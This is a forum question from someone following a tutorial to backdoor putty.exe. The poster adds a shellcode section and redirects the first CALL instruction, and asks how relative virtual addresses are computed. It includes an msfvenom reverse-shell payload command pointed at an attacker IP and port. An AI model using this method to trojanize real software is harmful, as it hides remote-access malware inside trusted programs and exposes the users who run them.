I am trying to follow this tutorial to backdoor a simple 32bits PE binary (putty.exe).
The method used is to create a new section (named
.test) containing some shellcode, changing the first CALL instruction to JMP on it, executing it, and JMPing back to the original address the first CALL instruction contained before change for JMP.
First part is adding new section, and I am OK with it (done with LordPE). Here are its caracteristics:
Name VOffset VSize ROffset RSize Flags .test 00110000 00001000 00106E00 00001000 E0000060
immunity, I have loaded
putty.exe. Memory view shows me that
.test section is getting mapped at address 00510000
Here are the first instructions being launched:
7D4D1512 PUSH EAX 0046F346 CALL putty. <--- I changed this for JMP putty.00510000 0046F34B JMP putty.
Debug mode JMP indeed to 00510000 ! So I copy/paste the payload at this place and debug again: payload created via:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f hex
I save the binary an re-launch immunity to debug it:
7D4D1512 PUSH EAX 0046F346 JMP putty.00510000
But JMP occurs now at the very end of the shellcode ! At 0051008E !
Feeling the beginning of the section with NOP does not change the behavior (always at the end of the shellcode).
How is it possible to force the execution flow to the beginning of my shellcode instead ? As no one seems to have encountered this trouble, I suppose I missed some basics.
The document explains how the address is getting calculating like this:
Next step is to hijack the first instruction by jumping to our new section, for that we need the RVA for both the .test section, first CALL instruction and address of the next instruction. 001C9DE6 > $ E8 15770000 CALL PsExec_b.001D1500 001C9DEB .^E9 7BFEFFFF JMP PsExec_b.001C9C6B RVA of 001D1500 is RVA_11500. RVA of 001C9DEB is RVA_9DEB, RVA of .test is RVA_7D0000.
I have no idea how he gets from 001D1500 to 11500 and what is the 1C0000 gap between these two values.
Many thanks for you help understanding this point;